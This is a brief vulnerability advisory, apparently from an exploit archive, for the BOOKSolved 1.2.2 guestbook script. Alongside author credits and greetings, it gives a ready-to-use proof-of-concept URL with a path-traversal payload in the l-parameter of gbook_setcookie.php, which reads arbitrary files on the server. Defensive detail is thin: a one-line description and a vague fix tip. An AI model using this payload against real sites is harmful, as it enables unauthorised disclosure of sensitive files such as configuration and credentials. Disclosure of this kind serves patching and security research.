BOOKSolved 1.2.2 File Disclosure

`...BOOKSolved 1.2.2 (l) Remote File Disclosure Vulnerability  
  
...Discovered by bd0rk  
  
...Contact: bd0rk[at]hackermail.com or follow me on twitter  
  
...Greetz: inj3ct0r-Team, x0r_32, Perle, Siber King  
  
...Tested on: Ubuntu-Linux  
  
...MEZ-Time: 08:17  
  
...Vendor: http://www.usolved.net/  
  
...Download: http://www.usolved.net/scripts/booksolved_v1.2.2.zip  
  
----------------------------------------------------------------------------  
  
PoC: http://[targethost]/[path]/inc/gbook_setcookie.php?l=../../R3adIn.php  
  
----------------------------------------------------------------------------  
  
Description: Found vulnerable code in gbook_setcookie.php line 7.  
So an attacker can read in sensitive files about l-parameter.  
  
  
bd0rk's-Fixtip: Percolate the l-parameter before $_GET  
  
  
  
Greetings from Germany, the 22 years old bd0rk.  
  
  
`